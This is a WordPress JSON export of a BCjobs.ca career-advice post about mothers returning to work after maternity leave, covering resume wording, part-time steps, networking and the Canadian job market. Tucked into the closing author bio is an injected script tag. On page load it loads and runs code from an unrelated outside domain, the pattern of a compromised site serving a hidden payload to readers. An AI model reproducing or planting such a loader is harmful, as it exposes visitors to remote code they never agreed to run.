{"id":38,"date":"2025-07-22T10:00:00","date_gmt":"2025-07-22T17:00:00","guid":{"rendered":"https:\/\/www.bcjobs.ca\/career-advice\/returning-to-work-after-maternity-leave\/"},"modified":"2025-10-21T01:44:30","modified_gmt":"2025-10-21T08:44:30","slug":"return-to-work-after-maternity-leave-2025","status":"publish","type":"post","link":"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/","title":{"rendered":"Navigating Your Return to Work After Maternity Leave in 2025"},"content":{"rendered":"<p data-start=\"382\" data-end=\"770\">Your return to work after maternity leave can feel overwhelming, especially if you\u2019ve been out of the workforce for a while.<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_50 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-69fa099fe1edf\" aria-hidden=\"true\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-69fa099fe1edf\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Why_Some_Moms_Start_from_Entry-Level_Again\" title=\"Why Some Moms Start from Entry-Level Again\">Why Some Moms Start from Entry-Level Again<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Smart_Ways_to_Rebuild_Your_Career_After_a_Break\" title=\"Smart Ways to Rebuild Your Career After a Break\">Smart Ways to Rebuild Your Career After a Break<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Highlight_Volunteer_Experience_Like_It%E2%80%99s_Paid_Work\" title=\"Highlight Volunteer Experience Like It\u2019s Paid Work\">Highlight Volunteer Experience Like It\u2019s Paid Work<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Take_Small_Steps_Back_In\" title=\"Take Small Steps Back In\">Take Small Steps Back In<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Use_Numbers_Wherever_You_Can\" title=\"Use Numbers Wherever You Can\">Use Numbers Wherever You Can<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Rebuild_Your_Network%E2%80%94One_Coffee_at_a_Time\" title=\"Rebuild Your Network\u2014One Coffee at a Time\">Rebuild Your Network\u2014One Coffee at a Time<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Polish_Your_Professional_Persona\" title=\"Polish Your Professional Persona\">Polish Your Professional Persona<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#What%E2%80%99s_the_Job_Market_Like_for_Moms_in_Canada_Right_Now\" title=\"What\u2019s the Job Market Like for Moms in Canada Right Now?\">What\u2019s the Job Market Like for Moms in Canada Right Now?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Tips_for_Finding_a_Family-Friendly_Employer\" title=\"Tips for Finding a Family-Friendly Employer\">Tips for Finding a Family-Friendly Employer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#Final_Thoughts_You%E2%80%99ve_Got_This\" title=\"Final Thoughts: You\u2019ve Got This\">Final Thoughts: You\u2019ve Got This<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.bcjobs.ca\/blog\/return-to-work-after-maternity-leave-2025\/#About_the_Author\" title=\"About the Author\">About the Author<\/a><\/li><\/ul><\/nav><\/div>\n\n<p data-start=\"772\" data-end=\"1039\">But here\u2019s the good news: you\u2019re absolutely not alone. Thousands of parents across Canada take extended breaks to raise their kids. And while that gap on your resume might look intimidating at first, there are practical, doable ways to bounce back stronger than ever.<\/p>\n<h3 data-start=\"1041\" data-end=\"1087\"><span class=\"ez-toc-section\" id=\"Why_Some_Moms_Start_from_Entry-Level_Again\"><\/span>Why Some Moms Start from Entry-Level Again<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1089\" data-end=\"1496\">You might wonder, <em data-start=\"1107\" data-end=\"1167\">why do so many returning moms start with entry-level jobs?<\/em> For some, it\u2019s because they never had the chance to move beyond entry-level roles before having children. Others left mid-career and now feel like their skills are rusty. And honestly, some moms want a lighter load when they re-enter\u2014they\u2019re testing out what it means to juggle motherhood and a job before diving all the way in.<\/p>\n<p data-start=\"1498\" data-end=\"1641\">Whatever your reason, there\u2019s no shame in easing back in. The <a href=\"https:\/\/www.bcjobs.ca\/\" target=\"_blank\" rel=\"noopener\">job<\/a> you had before kids doesn\u2019t have to be the job you return to\u2014and that\u2019s okay.<\/p>\n<h3 data-start=\"1648\" data-end=\"1699\"><span class=\"ez-toc-section\" id=\"Smart_Ways_to_Rebuild_Your_Career_After_a_Break\"><\/span>Smart Ways to Rebuild Your Career After a Break<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"1701\" data-end=\"1756\"><span class=\"ez-toc-section\" id=\"Highlight_Volunteer_Experience_Like_It%E2%80%99s_Paid_Work\"><\/span>Highlight Volunteer Experience Like It\u2019s Paid Work<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1758\" data-end=\"2123\">Volunteering isn\u2019t \u201cjust helping out\u201d\u2014it\u2019s leadership, planning, coordination, and communication in action. Did you lead your child\u2019s school fundraiser? Organize a meal train for new parents in your community? Manage communications for your local soccer league? Those experiences matter. Use your resume\u2019s summary section to frame them as part of your career story.<\/p>\n<p data-start=\"2125\" data-end=\"2369\">Not sure how to word it? Think impact. For example:<br data-start=\"2176\" data-end=\"2179\" \/>\u201cLed a school-wide fundraising campaign, raising over $8,000 to support educational resources, managing a team of 12 volunteers.\u201d<br data-start=\"2308\" data-end=\"2311\" \/>It\u2019s all about showing how your efforts made a difference.<\/p>\n<h4 data-start=\"2371\" data-end=\"2400\"><span class=\"ez-toc-section\" id=\"Take_Small_Steps_Back_In\"><\/span>Take Small Steps Back In<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2402\" data-end=\"2627\">There\u2019s no rule that says you need to return to full-time work right away. In fact, part-time, freelance, or contract gigs can be the perfect way to rebuild confidence, refresh your resume, and get your foot back in the door.<\/p>\n<p data-start=\"2629\" data-end=\"2791\">Seasonal work\u2014like retail during the holidays or even tax prep jobs (yep, they\u2019re often part-time!)\u2014can also be a smart way to dip back in without overcommitting.<\/p>\n<h4 data-start=\"2793\" data-end=\"2826\"><span class=\"ez-toc-section\" id=\"Use_Numbers_Wherever_You_Can\"><\/span>Use Numbers Wherever You Can<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2828\" data-end=\"3007\">Quantifying your experience\u2014even outside of traditional jobs\u2014makes it more credible and concrete. If you organized community events, managed schedules, or oversaw budgets, say so!<\/p>\n<p data-start=\"3009\" data-end=\"3030\">Here are a few ideas:<\/p>\n<ul data-start=\"3031\" data-end=\"3254\">\n<li data-start=\"3031\" data-end=\"3153\">\n<p data-start=\"3033\" data-end=\"3153\">\u201cCoordinated weekly activities for a 10-family babysitting co-op, managing a rotating schedule and resolving conflicts.\u201d<\/p>\n<\/li>\n<li data-start=\"3154\" data-end=\"3254\">\n<p data-start=\"3156\" data-end=\"3254\">\u201cRan a parent group with 40+ members, handling communications, social media, and event logistics.\u201d<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3256\" data-end=\"3282\">Numbers = value. Use them!<\/p>\n<h4 data-start=\"3284\" data-end=\"3330\"><span class=\"ez-toc-section\" id=\"Rebuild_Your_Network%E2%80%94One_Coffee_at_a_Time\"><\/span>Rebuild Your Network\u2014One Coffee at a Time<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3332\" data-end=\"3699\">You\u2019ve probably heard the saying, <em data-start=\"3366\" data-end=\"3412\">\u201cIt\u2019s not what you know, it\u2019s who you know.\u201d<\/em> And while both matter, connections often lead to opportunities. Reconnect with former colleagues. Join LinkedIn groups. Attend local networking events. Volunteer for causes that matter to you. Even casual chats with other parents at school drop-off can lead to unexpected opportunities.<\/p>\n<p data-start=\"3701\" data-end=\"3852\">And don\u2019t overlook informational interviews\u2014a quick 20-minute convo with someone in your target industry can open up valuable insights (and job leads).<\/p>\n<h4 data-start=\"3967\" data-end=\"4004\"><span class=\"ez-toc-section\" id=\"Polish_Your_Professional_Persona\"><\/span>Polish Your Professional Persona<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"4006\" data-end=\"4258\">Update your voicemail greeting. Clean up your LinkedIn profile. Refresh your resume with your most relevant (not just most recent) experience. If it\u2019s been years since your last interview, do a few mock ones. Even practicing in front of a mirror helps!<\/p>\n<p data-start=\"4260\" data-end=\"4354\">And don\u2019t forget your wardrobe\u2014a crisp, comfortable outfit can do wonders for your confidence.<\/p>\n<h3 data-start=\"4361\" data-end=\"4421\"><span class=\"ez-toc-section\" id=\"What%E2%80%99s_the_Job_Market_Like_for_Moms_in_Canada_Right_Now\"><\/span>What\u2019s the Job Market Like for Moms in Canada Right Now?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"4423\" data-end=\"4802\">In 2025, Canadian mothers returning to work are facing both challenges and new opportunities. As of Q2 2025, the national unemployment rate sits at 7.0%, the highest in nearly four years, but job openings in part-time, healthcare, education, and remote administrative roles have increased steadily.<\/p>\n<p data-start=\"4804\" data-end=\"4832\">Here are a few key insights:<\/p>\n<ul data-start=\"4834\" data-end=\"5747\">\n<li data-start=\"4834\" data-end=\"5054\">\n<p data-start=\"4836\" data-end=\"5054\"><strong data-start=\"4836\" data-end=\"4875\">Flexible and Remote Work Is Booming<\/strong><br data-start=\"4875\" data-end=\"4878\" \/>Since the pandemic, remote jobs have become a mainstay. Many employers offer flexible hours and work-from-home options, which are ideal for parents re-entering the workforce.<\/p>\n<\/li>\n<li data-start=\"5056\" data-end=\"5431\">\n<p data-start=\"5058\" data-end=\"5431\"><strong data-start=\"5058\" data-end=\"5089\">Childcare Remains a Barrier<\/strong><br data-start=\"5089\" data-end=\"5092\" \/>While the Canada-wide Early Learning and Child Care plan has reduced fees to an average of $10\/day in many provinces, access to spots remains limited in urban areas. This continues to impact how and when mothers return to work.<\/p>\n<\/li>\n<li data-start=\"5433\" data-end=\"5747\">\n<p data-start=\"5435\" data-end=\"5747\"><strong data-start=\"5435\" data-end=\"5477\">Employers Are More Open to Career Gaps<\/strong><br data-start=\"5477\" data-end=\"5480\" \/>According to a 2025 survey by Robert Half Canada, 73% of employers said they are more likely to consider candidates who have taken career breaks for caregiving than five years ago. The stigma around resume gaps is fading\u2014so long as you can show transferable skills.<\/p>\n<\/li>\n<\/ul>\n<h3 data-start=\"5754\" data-end=\"5801\"><span class=\"ez-toc-section\" id=\"Tips_for_Finding_a_Family-Friendly_Employer\"><\/span>Tips for Finding a Family-Friendly Employer<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"5803\" data-end=\"5941\">Some companies just get it\u2014they offer parental leave, flexibility, and a culture that supports work-life balance. Here\u2019s how to find them:<\/p>\n<ul data-start=\"5943\" data-end=\"6326\">\n<li data-start=\"5943\" data-end=\"6058\">\n<p data-start=\"5945\" data-end=\"6058\">Use sites like <a class=\"\" href=\"https:\/\/www.glassdoor.ca\" target=\"_blank\" rel=\"noopener\" data-start=\"5960\" data-end=\"5997\">Glassdoor<\/a> or <a class=\"\" href=\"https:\/\/www.indeed.ca\" target=\"_blank\" rel=\"noopener\" data-start=\"6001\" data-end=\"6032\">Indeed<\/a> to read employee reviews.<\/p>\n<\/li>\n<li data-start=\"6059\" data-end=\"6191\">\n<p data-start=\"6061\" data-end=\"6191\">Check out Canada\u2019s<a href=\"https:\/\/www.canadastop100.com\/family\/\" target=\"_blank\" rel=\"noopener\"> \u201cTop Family-Friendly Employers\u201d<\/a> list, published annually.<\/p>\n<\/li>\n<li data-start=\"6059\" data-end=\"6191\">\n<p data-start=\"6061\" data-end=\"6191\">Look for companies that mention &#8220;returnship&#8221; programs\u2014these are like internships for professionals re-entering after a career break.<\/p>\n<\/li>\n<\/ul>\n<h3 data-start=\"6333\" data-end=\"6368\"><span class=\"ez-toc-section\" id=\"Final_Thoughts_You%E2%80%99ve_Got_This\"><\/span>Final Thoughts: You\u2019ve Got This<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"6370\" data-end=\"6753\">Re-entering the workforce after maternity leave might feel intimidating, especially if you\u2019ve been out for a while. But your experience\u2014both professional and personal\u2014has value. You\u2019ve handled tantrums, solved crises before 8 a.m., and kept tiny humans alive. You\u2019ve gained time management, patience, multitasking, and problem-solving skills that any employer would be lucky to have.<\/p>\n<p data-start=\"6755\" data-end=\"6819\">You\u2019re not starting from scratch. You\u2019re starting from strength.<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"About_the_Author\"><\/span><b><i>About the Author<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Simon Chou is the Advisor and CEO at<\/span><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\"> BCjobs.ca<\/span><\/a><span style=\"font-weight: 400;\">. Over the course of his career, he carved a niche in brand development, marketing strategy, and online presence for startups. In Addition to<\/span><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\"> BCJobs.ca<\/span><\/a><span style=\"font-weight: 400;\">, Simon is hosting unfiltered conversations with marketing experts in our podcast<\/span><a href=\"https:\/\/marketingonmars.com\/\"><span style=\"font-weight: 400;\"> \u201cMarketing On Mars\u201d<\/span><\/a><span style=\"font-weight: 400;\">. Tune into our last episode to hear from Marketing Leaders how they approach work and how they grew in their careers.<\/span><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Returning to work after maternity leave becomes complicated when you don\u0092t have a job to which to return. Many mothers take an extended break from the paid workforce while raising their children.<\/p>\n","protected":false},"author":109,"featured_media":10593,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[11],"tags":[],"_links":{"self":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/38"}],"collection":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/comments?post=38"}],"version-history":[{"count":5,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/38\/revisions"}],"predecessor-version":[{"id":10754,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/38\/revisions\/10754"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media\/10593"}],"wp:attachment":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media?parent=38"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/categories?post=38"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/tags?post=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}